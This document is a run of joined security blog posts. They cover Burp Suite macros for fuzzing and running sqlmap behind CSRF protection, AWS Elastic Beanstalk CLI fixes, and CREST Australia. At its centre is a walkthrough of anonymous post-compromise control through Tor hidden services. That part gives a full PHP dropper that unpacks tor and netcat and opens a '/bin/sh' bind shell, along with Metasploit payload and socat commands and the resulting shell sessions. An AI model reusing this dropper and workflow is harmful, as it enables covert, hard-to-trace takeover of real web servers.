This is part 2 of a post on fuzzing and sqlmap’ing inside web applications with CSRF protection. In part 1 I provided a walkthough for setting up a Session Handling Rule and macro in Burp suite for use with Burp’s Intruder. In this part, I will walkthrough a slightly different scenario where we use Burp as a CSRF-protection-bypass harness for sqlmap.

Sqlmap inside CSRF

A lot of the process from part 1 of the post is common to part 2. I will only run through the key differences.

Again, you’ll need to define a Session Handling Rule, containing a macro sequence that Burp will use to login to the application, and navigate to the page that you need.

The first real difference is in the definition of scope for the session handling rule. Instead of setting the scope to “Intruder” and “Include all URLs”, you’ll need to set the scope to be “Proxy” and a custom scope containing the URL that you are going to be sqlmapping.

There is a note to “use with caution” on the tool selection for Proxy. It is not too hard to see why – if you scoped the rule too loosely for Proxy, each request could trigger a whole new session login. And then I guess the session login could trigger a session login, and then the universe would collapse into itself. Bad news. You have been warned.

Once the session handling rule is in place, find an in-scope request that you made previously, and construct it into a sqlmap command line.

In this example, I’m attempting an injection into a RESTful URL, so I’ve manually specified the injection point with “*”. I’ve included a cookie parameter that defines the required cookies, but the actual values of the cookies is irrelevant, since Burp will replace these based on the macro.
If it was a POST, you would need to include a similar –data parameter to sqlmap, where Burp would replace any CSRF tokens from hidden form fields. Finally, we have specified a proxy for sqlmap to use (Burp).

Running sqlmap, we start to see it doing it’s thing in the Burp Proxy window.

That’s pretty much all there is to it.

One catch for the Session Handling Rule / macro configuration is that there isn’t a lot of evidence in the Burp tool (Intruder, Proxy, …) that anything is happening. If you are not getting the results that you would expect, the first thing to check is the Sessions Tracer, which can be found in the Session Handling Rules section. Clicking the “Open sessions tracer” button opens the Session Handling Tracer window. If a session handling rule is triggered, the actions for that rule will start to show up in the Tracer window. You can step through a macro, request by request, to see that everything is in order.

Conclusion

In this two part post, I’ve walked through setting up Burp Suite to do fuzzing inside CSRF-protected applications, both with Burp’s own Intruder tool and using an external tool (sqlmap).

Hi all, David here. I was recently testing a web app for a client written in ASP.NET MVC. The developers are pretty switched on, and had used RequestValidation throughout the application in order to prevent CSRF. Further to this, in several locations, if there was a RequestValidation failure, they were destroying the current session and dropping the user back to the login form. Brutal.

I didn’t think that there would be any injection issues in the app, but I needed to test all the same and this presented an interesting challenge – how to fuzz or sqlmap on target parameters within the CSRF-protected pages of the application.

If I opted for a manual approach, the process would look like this:

1. Login to the application
2. Navigate to the page under test
3. Switch Burp proxy to intercept
4. Submit and intercept the request
5. Alter the parameter under test in Burp, then release the request
6. Observe results
7. Goto 1

This would be incredibly slow and inefficient, and wouldn’t really provide a way of using external tools.

I scratched my head for a while and did some reading on Buby, Burp Extender and Sqlmap tamper scripting until I finally came across an article from Carstein at 128nops which led me to further reading by Dafydd on the Portswigger Web Security Blog. Turns out that Burp suite can do exactly what I needed, out of the box, so I thought I’d put together a step-by-step for how I solved the problem.

Fuzzing (with Intruder) inside CSRF

Note: Intruder has built-in recursive grep functionality that can be used in some circumstances to take the CSRF token from one response and use it in the following request (&c.)[1]. This wasn’t much good to me, since the session was being destroyed if CSRF validation failed.

In Burp terminology, you need to create a Session Handling Rule to make Intruder perform a sequence of actions (login, navigate to page under test) before each request.

Go to the “Options” tab, and select the “Sessions” sub-tab. “Session Handling Rules” is right at the top.

Click the “Add” button to create a new Session Handling Rule. The Session Handling Rule editor window opens. Give the rule a meaningful name, then click the “Add” button for “Rule Actions” and select “Run a macro” from the drop-down.

This opens the Session Handling Action Editor window…

In this window, click the “Add” button next to “Select macro:”. This opens the Macro Editor and Macro Recorder windows (shown a further on). Now that Burp is set up and waiting to record the sequence, switch over to your web browser. In a new window / session (making sure to delete any leftover session cookies), navigate to the login page, login, then navigate to the page within the application where you want to be doing fuzz testing. Once you are there, switch back over to Burp. The Macro Recorder should show the intercepted requests.

Select the requests that you want to use in the macro and click “OK”. This will close the Macro Recorder window.

In the Macro Editor window, give the macro a meaningful name and look through the “Cookies received”, “Derived Parameters” and “Preset Parameters” columns to check that Burp has analysed the sequence correctly. When you’re happy, you can test the macro out by clicking the “Test Macro” button. If everything looks alright, click “OK” to close the Macro Editor window.

Almost there.

Back in the Session Handling Action Editor window, you should be OK to leave the other options for updating parameters and cookies as-is. Click “OK” to exit out of here.

Now, back in the Session Handling Rule Editor window, you’ll see your macro listed in the Rule Actions…

Before you close this window, switch over to the “Scope” tab and alter the scope for the rule to be just for Intruder and “Include all URLs”. (If you want to be more specific, you could specify the URL that you wanted the rule to apply to, but I just put it in scope for all of Intruder, and remember to turn the rule off when I’m not using it. This becomes more important in Part 2 of this post.) Then close the Session Handling Rule Editor window.

Your session handling rule is now defined.

Next, go back over to Burp’s proxy and send the request that you want to fuzz over to Intruder in the usual way.

In Intruder’s “Position” tab, you’ll want to clear all of the injection points except for the one that you want to specifically fuzz test. Session cookies and any CSRF tokens (in cookies or hidden form fields) will be populated automatically by Intruder from the macro sequence.

Set your payloads and other options as required. If the application is sensitive to multiple concurrent sessions for the same user, you will need to reduce the number of threads to 1 in the “Options” tab.

Then start Intruder. You will almost certainly notice that Intruder runs slowly; this is to be expected when you consider that it is going through a new login sequence for each request.

To fuzz different parameters on the same page, just go back into “Positions” and choose the next target.

To fuzz parameters on a different page, you will probably need to go back into your Session Handling Rule and edit your macro (or define a new macro) that logs in and navigates to the new target page.

In part 2 of this post, I’ll step through a slightly different scenario where we use an external tool (sqlmap), proxied through Burp, with a Session Handling rule running on Burp’s Proxy.

I expect that this is going to be a relatively lengthy post.  If you can’t spare the time, see the TLDR at the bottom.

So, I can imagine certain scenarios where it would be highly desirable to remain anonymous when compromising and exerting post-compromise control over target systems on the Internet.  Setting aside any black-hat motivations I expect that law enforcement agencies and offensive cyber operations teams require effective anonymity at various times.  This led me to thinking about methods for post-compromise control of targets that are both:

a)      Useful, and
b)      Anonymous.

For the sake of simplicity, lets say that the target system is a web server on the Internet.  Pre-compromise activities (information gathering, application mapping, etc) and actual exploitation would be relatively easy to achieve with anonymity using the Tor anonymisation network.  However, once the system is compromised, your options for post-compromise command & control introduce some challenges to maintaining anonymity.

Broadly, the options that I can see for post-compromise control are:

1. In-band control (within the HTTP or HTTPS service) - The most obvious example here would be to load a PHP shell onto the compromised system, and perform C&C through this.
2. Out-of-band forward connection – You install a trojan service onto the compromised system, listening on a different unused network port (eg. Metasploit bind_tcp payloads).  This still lets you use Tor for C&C, but virtually every real world system will have some form of firewall in place which will prevent you from connecting to arbitrary listening ports.
3. Out-of-band reverse connection – You install a trojan service onto the compromised system; the Trojan establishes an outbound connection to your C&C server (eg. Metasploit reverse_tcp and reverse_http payloads).  This is more likely to succeed against perimeter firewalls, but is a significant challenge to anonymity – you need to have a known IP address for the trojan to connect back to.

Option 1 isn’t a bad choice, but let’s be honest – web shells mostly suck.  They might be OK for rudimentary post-compromise activities, but I don’t think that they meet the primary requirement of being truly useful.  They don’t give you an interactive shell with job control and all of the nice stuff, let alone more advanced desirable features like port forwarding and application or network pivoting.

Option 2 is generally not practical due to pervasive firewalling, and Option 3 breaks the second primary requirement of maintaining anonymity.

The answer that I arrived at is to leverage Tor hidden services on the compromised host.

The assumed pre-requisites for this method of anonymous, useful, post-compromise control are as follows:

1. You have already compromised the system, and you are able to upload and execute arbitrary code (doesn’t necessarily need to be privileged execution);
2. The compromised system is able to establish an outbound connection to the Tor network.  This isn’t too much of a stretch; I’ve seen a lot of DMZ infrastructure and hosted websites that have more or less unrestricted egress access for grabbing automatic updates or to facilitate administration.

The steps go like this:

1. Upload your required trojan or network service and bind it to an unused port on the localhost interface (bind_tcp).
2. Upload a Tor client with a hidden services configuration and run it .  The client establishes a connection to the Tor network, and sets up the hidden service, redirecting to the trojan listener that you set up in step 1.
3. From your workstation, establish a connection to the Tor network and connect to the published hidden service.  Egress becomes ingress and you are able to establish an out-of-band forward connection, with anonymity, straight through the target’s firewall.

The choice of network service that you install on the compromised host is limited only by your imagination.  Some options might include:

• A netcat listener bound to a shell;
• A customised SSH daemon;
• A meterpreter payload ;
• A SOCKS daemon, providing an application proxy pivot onto the target network;
• An OpenVPN daemon, proving network layer pivot capability onto the target network.

One small obstacle that makes this process a little more difficult is the fact that a LOT of client applications don’t natively support connecting via SOCKS, or they implement SOCKS poorly in relation to name resolution.  In order to access a hidden service on Tor, the client needs to be able to use the SOCKS proxy server provided by the Tor client, and the client needs to defer name resolution to the SOCKS server.  To imbue non-SOCKS-enabled clients with SOCKS capability, you need to look to an additional tool like torify or socat.

The examples below show the process from end-to-end both for a Netcat shell listener, and also for a metasploit bind_tcp shell.  Both examples utilise socat to enable the client to connect to the published hidden service.

Example 1 – Netcat shell listener

Step 1 – Tor hidden service pre-configuration

Tor hidden services, identified by “.onion” pseudo-TLD addresses, are linked to a private key.  If you move the private key from one Tor client to another, the hidden service definition follows.  In order to know the hidden service address that you’ll be using for post-compromise control, it is necessary to generate the private key and matching hostname ahead of time.  So, we create a very simple torrc file and create a new private key and hostname…

david@GTFO:~$ 
david@GTFO:~$ cd torcontrol/
david@GTFO:~/torcontrol$ ls -l
total 1232
-rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor
-rw-rw-r-- 1 david david     141 Dec 24 13:14 torrc
david@GTFO:~/torcontrol$ cat torrc
SocksPort 9050
SocksListenAddress 127.0.0.1
#HiddenServiceDir /var/tmp/tor/
HiddenServiceDir ./hidden/
HiddenServicePort 2222 127.0.0.1:2222
david@GTFO:~/torcontrol$ ./tor -f ./torrc
Dec 24 13:16:45.497 [notice] Tor v0.2.2.37. This is experimental software. Do not rely on it for strong anonymity. (Running on Linux x86_64)
Dec 24 13:16:45.497 [notice] Initialized libevent version 2.0.16-stable using method epoll. Good.
Dec 24 13:16:45.498 [notice] Opening Socks listener on 127.0.0.1:9050
Dec 24 13:16:45.552 [notice] OpenSSL OpenSSL 1.0.1 14 Mar 2012 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation
Dec 24 13:16:45.608 [warn] Please upgrade! This version of Tor (0.2.2.37) is obsolete, according to the directory authorities. Recommended versions are: 0.2.2.39,0.2.3.24-rc,0.2.3.25,0.2.4.5-alpha,0.2.4.6-alpha
Dec 24 13:16:45.794 [notice] We now have enough directory information to build circuits.
Dec 24 13:16:45.794 [notice] Bootstrapped 80%: Connecting to the Tor network.
Dec 24 13:16:47.087 [notice] Bootstrapped 85%: Finishing handshake with first hop.
Dec 24 13:16:49.129 [notice] Bootstrapped 90%: Establishing a Tor circuit.
Dec 24 13:16:51.813 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.
Dec 24 13:16:51.813 [notice] Bootstrapped 100%: Done.
^CDec 24 13:16:59.010 [notice] Interrupt: exiting cleanly.
david@GTFO:~/torcontrol$ ls -l
total 1236
drwx------ 2 david david    4096 Dec 24 13:16 hidden
-rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor
-rw-rw-r-- 1 david david     141 Dec 24 13:14 torrc
david@GTFO:~/torcontrol$ cd hidden
david@GTFO:~/torcontrol/hidden$ ls -l
total 8
-rw------- 1 david david  23 Dec 24 13:16 hostname
-rw------- 1 david david 887 Dec 24 13:16 private_key
david@GTFO:~/torcontrol/hidden$ cat hostname
zcbvswdhpmb7mkgq.onion
david@GTFO:~/torcontrol/hidden$

Step 2 – Construct a payload to upload to the compromised system

This stage will vary from server to server, and depending on what service you want to run on the compromised system.  My target system is a Linux server, running Apache with PHP.  The payload bundle contains everything that will be required to establish the Tor hidden service, as well as my required trojan.

Caveat: I am not a coder.  This is a hideous hack in order to achieve my requirement.  I am certain that there are 100′s of more elegant ways of achieving the same net result.

Payload “dropper.php” follows:

<?php
$str = 'H4sICB3s11AAA3RvcgCMWwmYHFW1vplMkh6yJ5CwBEg0wOCDkAxJTBA124Ssk3GSQBCw0tNdPVNM
--snip--
pi6xDt9HxLYaXBDOH6QbsXS8/QtvoE3uQMUSAA==';
$handle = fopen("/tmp/tor.gz", "w+");
fwrite($handle,base64_decode($str));
fclose($handle);
shell_exec('gunzip /tmp/tor.gz');
shell_exec('chmod 755 /tmp/tor');

$str = 'SocksPort 9050
SocksListenAddress 127.0.0.1
DataDirectory /tmp/.tor
HiddenServiceDir /tmp/hidden/
HiddenServicePort 2222 127.0.0.1:2222
';
$handle = fopen("/tmp/torrc", "w+");
fwrite($handle,$str);
fclose($handle);
shell_exec('mkdir /tmp/hidden');
shell_exec('chmod 700 /tmp/hidden');

$str = 'zcbvswdhpmb7mkgq.onion';
$handle = fopen("/tmp/hidden/hostname", "w+");
fwrite($handle,$str);
fclose($handle);
shell_exec('chmod 600 /tmp/hidden/hostname');

$str = '-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDB9xZuO4chidB4S4sdZZH7XRIj/7slR6NCxs9kIWnzA9pFF1aR
--snip--
MmaQ/2PM26I1EwSxqLi33RdrwBgPdTMODx3VGAxinA==
-----END RSA PRIVATE KEY-----';
$handle = fopen("/tmp/hidden/private_key", "w+");
fwrite($handle,$str);
fclose($handle);
shell_exec('chmod 600 /tmp/hidden/private_key');
system('/tmp/tor -f /tmp/torrc >/tmp/log 2>&1 &');
sleep(5);

$str = 'H4sICC/s11AAA25jAO18fXhU1bX3mckEJhicqFBRUY82FFASCaJCCBo+RvHKl0oqLUScZGaYKZOZ
--snip--
PPT/QlZ/+NZW7yD9Ib2UhQdfcJzwegbB25SF19lps3cu7P+9TrPvN+T4TN9BmsetijLbksFTZb5N
6f+dSOCNyIItWXmWeigTCe/tQfD+H9c9M+o8VgAA';
$handle = fopen("/tmp/nc.gz", "w+");
fwrite($handle,base64_decode($str));
fclose($handle);
shell_exec('gunzip /tmp/nc.gz');
shell_exec('chmod 755 /tmp/nc');
system('/tmp/nc -l -p 2222 -e /bin/sh >/dev/null 2>&1 &');
print("Done!");
?>

Step 3 – Upload the payload bundle to the web server

Using your Tor-enabled web browser, first check that Tor is active…

Then navigate to the target system…

And using the vulnerable file upload facility, upload your payload…

Step 4 – Execute your payload on the web server

There’s not too much to see here from the attacker’s perspective, so I’ve illustrated this with some behind-the-scenes information from the web server.  Here’s the situation before the upload:

root@ip-10-128-69-141:/var/www# ls -l
total 12
-rw-r--r-- 1 www-data www-data  66 2013-01-10 06:58 index.html
-rw-r--r-- 1 www-data www-data 358 2012-12-24 06:23 uploader.php
-rw-r--r-- 1 www-data www-data 332 2012-12-24 06:15 upload.html
root@ip-10-128-69-141:/var/www#


And the same listing after we’ve uploaded the payload:

root@ip-10-128-69-141:/var/www# ls -l
total 724
-rw-r--r-- 1 www-data www-data 722088 2013-01-10 07:03 dropper.php
-rw-r--r-- 1 www-data www-data     66 2013-01-10 06:58 index.html
-rw-r--r-- 1 www-data www-data    358 2012-12-24 06:23 uploader.php
-rw-r--r-- 1 www-data www-data    332 2012-12-24 06:15 upload.html
root@ip-10-128-69-141:/var/www#


Before we run the payload, this is what the system looks like:

root@ip-10-128-69-141:/var/www# ps -ef | grep www-data
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start
root@ip-10-128-69-141:/var/www# ls -la /tmp
total 8
drwxrwxrwt  2 root root 4096 2013-01-10 07:07 .
drwxr-xr-x 21 root root 4096 2013-01-10 06:39 ..
root@ip-10-128-69-141:/var/www#


No unusual processes, and nothing fun in /tmp.
Then we run the payload container from the browser…

…which unpacks our files and executes them, resulting in the following:

root@ip-10-128-69-141:/var/www# ls -la /tmp
total 1260
drwxrwxrwt  4 root     root        4096 2013-01-10 07:09 .
drwxr-xr-x 21 root     root        4096 2013-01-10 06:39 ..
drwx------  2 www-data www-data    4096 2013-01-10 07:08 hidden
-rw-r--r--  1 www-data www-data    4434 2013-01-10 07:09 log
-rwxr-xr-x  1 www-data www-data   22076 2013-01-10 07:08 nc
-rwxr-xr-x  1 www-data www-data 1230144 2013-01-10 07:08 tor
drwx------  2 www-data www-data    4096 2013-01-10 07:09 .tor
-rw-r--r--  1 www-data www-data     136 2013-01-10 07:08 torrc
root@ip-10-128-69-141:/var/www# ps -ef | grep www-data
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1915     1  6 07:08 ?        00:00:04 /tmp/tor -f /tmp/torrc
www-data  1921     1  0 07:08 ?        00:00:00 /tmp/nc -l -p 2222 -e /bin/sh
root@ip-10-128-69-141:/var/www#


Step 5 – Connect to the hidden service

Finally, we are ready to connect to the hidden service to gain access to the trojan.  Allow a couple of minutes from when the payload is first run, as it can sometimes take a while for Tor to bootstrap itself, and for the hidden service to register in the Tor directory.

In shell #1, start up socat…

$ socat TCP4-LISTEN:2222 SOCKS4a:127.0.0.1:zcbvswdhpmb7mkgq.onion:2222,socksport=9050


Then, in shell #2, connect to the socat listener…

$ nc 127.0.0.1 2222
ls -la
total 760
drwxr-xr-x  4 root     www-data   4096 Jan 10 06:40 .
drwxr-xr-x 15 root     root       4096 Jun 29  2011 ..
-rw-r--r--  1 www-data www-data 722072 Jan 10 06:40 dropper.php
-rw-r--r--  1 www-data www-data     30 May 28  2012 index.html
-rw-r--r--  1 www-data www-data    332 Dec 24 06:15 upload.html
-rw-r--r--  1 www-data www-data    358 Dec 24 06:23 uploader.php
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
ip-10-128-69-141
/sbin/ifconfig -a
eth0      Link encap:Ethernet  HWaddr 12:31:40:00:46:63
          inet addr:10.128.69.141  Bcast:10.128.69.255  Mask:255.255.255.0
          inet6 addr: fe80::1031:40ff:fe00:4663/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:42289 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29494 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:29078650 (29.0 MB)  TX bytes:8783815 (8.7 MB)
          Interrupt:246

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:242 errors:0 dropped:0 overruns:0 frame:0
          TX packets:242 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23980 (23.9 KB)  TX bytes:23980 (23.9 KB)
echo Giddyup\!
Giddyup!
^C
$


Example 2 – Metasploit bind shell

Step 1 – Tor hidden service pre-configuration

As above

Step 2 – Construct a payload to upload to the compromised system

Mostly as above.  Instead of the netcat binary, we need to build a staged metasploit bind shell payload, as follows…
root@GTFO:~/torcontrol# msfpayload linux/x86/shell/bind_tcp LPORT=2222 X > msfshell.bin
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/bind_tcp
 Length: 79
Options: {"LPORT"=>"2222"}
root@GTFO:~/torcontrol# ls -l msfshell.bin
-rw-r--r-- 1 root root 163 Jan 10 15:29 msfshell.bin
root@GTFO:~/torcontrol#


This then gets built into payload.php.

Step 3 – Upload the payload bundle to the web server

As above

Step 4 – Execute your payload on the web server

As above.  The filesystem objects and process listing will obviously be slightly different…

$ ps -ef | grep www-data
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1915     1  0 07:08 ?        00:00:08 /tmp/tor -f /tmp/torrc
www-data  2031  2029  0 07:36 pts/0    00:00:00 /tmp/msfshell.bin
$ netstat -nap |grep 2222
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      2031/msfshell.bin
$


Step 5 – Connect to the hidden service

In shell #1, again we start up socat…

$ socat TCP4-LISTEN:2222 SOCKS4a:127.0.0.1:zcbvswdhpmb7mkgq.onion:2222,socksport=9050


Then, in shell #2, we fire up msfconsole and point it at socat…

root@GTFO:~/Work/Metasploit_dev# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`


       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1017 exploits - 566 auxiliary - 167 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf  exploit(handler) > set LPORT 2222
LPORT => 2222
msf  exploit(handler) > set RHOST 192.168.1.112
RHOST => 192.168.1.112
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/shell/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  2222             yes       The listen port
   RHOST  192.168.1.112    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit

[*] Started bind handler
[*] Sending stage (36 bytes) to 192.168.1.112
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.112:56788 -> 192.168.1.112:2222) at 2013-01-10 15:56:26 +0800

ls -la
total 1264
drwxrwxrwt  4 root     root        4096 Jan 10 07:39 .
drwxr-xr-x 21 root     root        4096 Jan 10 06:39 ..
drwx------  2 www-data www-data    4096 Jan 10 07:50 .tor
drwx------  2 www-data www-data    4096 Jan 10 07:08 hidden
-rw-r--r--  1 www-data www-data    4434 Jan 10 07:09 log
-rwxr-xr-x  1 www-data www-data     163 Jan 10 07:32 msfshell.bin
-rwxr-xr-x  1 www-data www-data   22076 Jan 10 07:08 nc
-rwxr-xr-x  1 www-data www-data 1230144 Jan 10 07:08 tor
-rw-r--r--  1 www-data www-data     136 Jan 10 07:08 torrc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
ip-10-128-69-141
exit

[*] 192.168.1.112 - Command shell session 1 closed.  Reason: Died from EOFError
msf  exploit(handler) >

Last Notes:

• There are obviously a number of variations possible for this approach; for example, the payload could be delivered as an email attachment, or loaded onto another compromised web server as a drive-by download or spearphishing destination.  In any case, if the compromised system is able to establish an outbound connection to Tor then the system can become a hidden server, and can be controlled via this hidden service.  If you are an administrator and you want to avoid this happening to your systems, you need to ensure that they are not able to establish a connection to the Tor network.

• It is a real shame that more security tools don’t have native support for SOCKS4a; having to use socat is a real pain.  It would be awesome to see real SOCKS support in, say, Metasploit, Nessus, Nmap, …

• While I am on “wishlist” items, it would also be really good to see Linux meterpreter get a whole lot better. When I started tinkering with this method, I burnt a lot of time trying to get it working with meterpreter on a Linux x86 target – my success rate was something like 1 in 20, or 1 in 30.  The payload and stager seem to be either unstable or intolerant of the network delays that Tor can bring.

TLDR:

If a compromised system can establish a connection to the Tor network, it can be used to host a hidden service of the attackers choosing.  This hidden service can be accessed anonymously via Tor.

- @dave_au

Anyway, in addition to my interest in development, I’m also interested in operating these applications, especially leveraging the power of ‘the cloud’. Some of these principles may be referred to by some people as Development Operations .. or some such. Heroku is one of the more popular Platform-as-a-Service operators, their model is pretty slick. Sign up, git commit your code, and then just git push it and away you go. During my experiments with them I was also interested in leveraging Amazon’s CDN platform, CloudFront, which, with the help of the asset_sync gem was relatively simple. At a high level the steps are:

1. 1) Code up your app
2. 2) Git commit your code
3. 3) Git push your code to heroku
4. 4) During its deployment your static assets would be compiled, compressed, mashed-together
5. 5) Asset_sync would then push these up to your nominated Amazon S3 bucket
6. 6) Which in turn was published through the CDN (CloudFront)

Somewhere along the line though this stopped playing friendly, and after a few rounds of frustration, I decided to jump ship. Heroku, whilst offering some great benefits and simplicity to the whole continuous delivery process, also potentially encapsulated a lot of the gritty details away from you. Heroku, of course, leverage’s Amazon’s EC2. So why not go straight to the source?

Amazon’s approach to Platform-as-a-Service, also known as their Elastic Beanstalk (EB), was always a little bit daunting, and when I first heard about it, and its lack of support for Ruby(/Rails) I wasn’t all that interested. Well, those days are over, their model now supports Ruby 1.9.3, and of course Rails on top of that. Simply put, EB wraps up a fairly automatic approach to managing applications on top of their other services, namely:

1. 1) EC2 – Elastic Cloud Computing – scalable web app servers for the controllers and view handling
2. 2) RDS – Relational Database Service – for the backend model handling
3. 3) S3 – Storage – for handling code distribution and log file management (so you don’t have to interact directly with your EC2s or RDSs)
4. 4) SNS – Simple Notification Service – for handling email alerting, health checks etc
5. 5) CloudWatch – for monitoring the health of your app, and automatically scaling those EC2 automatically
6. 6) ELB – Elastic Load Balancing – to present a single DNS entry, which encapsulates those EC2 nodes away

The (I believe) official blog from AWS on their Elastic Beanstalk stuff offers a lot of interesting insight into how to run up these environments, but, I thought I should quickly dump out a few things that were causing me issues.

Firstly, the command line tools for starting, stopping, initialising your EB workload has a few problems. I don’t believe they’re hosted on GH, so I can’t send them a push request. One problem that was causing me a bit of grief was the functionality to automatically add the application-local ‘.elasticbeanstalk’ folder to your ‘.gitignore’ file. This functionality occurs on ‘eb init’, ‘eb start’, in fact, many of the eb functions. Firstly, the wrong entry was being added (at least on my OSX with Python 2.7 setup), and secondly, it wasn’t being added correctly so it would get incorrectly added every single time I ran any of these commands, which obviously didn’t work. My fix was simple.

In “AWS-ElasticBeanstalk-CLI-2.2/eb/macosx/python2.7/scli/constants.py”, change line 466 – 467 from:


    Name = Path + u'/'
    NameRe = Path + u'/'

To:


    Name = u'/' + Path
    NameRe = u'/' + Path

This ensures that the correct entry is searched for in the .gitignore file, and added as well.

Then, in “AWS-ElasticBeanstalk-CLI-2.2/eb/macosx/python2.7/scli/config_file.py”, change line 152 from:


    f.write(u'{0}'.format(name))

To:


    f.write(u'\n{0}'.format(name))

This ensured that the entries are added as new lines to the bottom of the .gitignore file properly.

The other thing I found helped during testing was jumping directly onto the EC2 nodes and tailing various log files. By default, your EB deployed EC2s don’t have SSH pub keys set, nor does the security group permit SSHing to them. Setting up your SSH keys is simple, make sure you’ve got some already created for the region where your app is, then either re-run ‘eb init’ and specify the keypair, or, edit your ‘.elasticbeanstalk/optionsettings’ file and update the ‘EC2KeyName=’ setting to the name of your keypair. After that’s done and you’ve re-started your environment (‘eb stop; eb start’) you will then have to jump into your EC2 console and modify the security group to permit SSH.

Voila! You can now SSH directly onto your EC2 nodes, and tail some interesting log files, I found the following of particular interest:

1. 1) /var/log/eb-tools.log – shows you activity when you push new code, asset compilation, bundler runs etc
2. 2) /var/app/support/logs/production.log – this is the actual rails log – see web requests etc

All in all, I’m really enjoying what I’m seeing. Sure, it may cost a bit more than running a single Dyno on Heroku, but, it certainly gives you a lot more control and visibility into exactly what’s happening, plus, it’s simple enough to jump straight into the deep end and see exactly what your servers are doing.

First, a bit of background. CREST is the Council of Registered Ethical Security Testers. The organisation was formed in the UK in 2007 / 2008 [1,2] with an aim to standardise ethical penetration testing and to provide professional qualifications for testers. By most accounts CREST has been a big success in the UK; the accreditation was adopted by the UK government, who now require that all penetration testing is performed by CREST certified testers from CREST approved organisations.

In 2011, the Australian Attorney Generals Department provided one-off seed funding to establish CREST in Australia, and in 2012 CREST Australia was created as a non-profit organisation [3]. Like the UK, the Australian government’s goal, was to provide Australian businesses and government agencies with a means of assuring that security testing work is performed… “with integrity, accountability and to agreed standards.”

July this year I was invited to become part of the technical establishment team for CREST Australia. This was a real honour for me, but at the same time a bit daunting when I considered the calibre of the other individuals and organisations that were to be involved. When I’d first started hearing about CREST Australia, I suspected that it might end up being comprised of organisations at the big end of town. I like to think that Asterisk were invited as a representative presence for the many excellent niche information security providers in the market.

The next few months involved a lot of preparation and planning; licensing for the exam IP was obtained from the UK, and hardware for the testing rig was procured, configured and shipped to Australia. Also, July to September involved a lot of study and preparation for me personally. Although I have been doing pen-testing in one form or another since 1997, the CREST syllabus covers a lot of ground, and unless you’re testing regularly on a wide variety of platforms, these exams are no walk in the park.

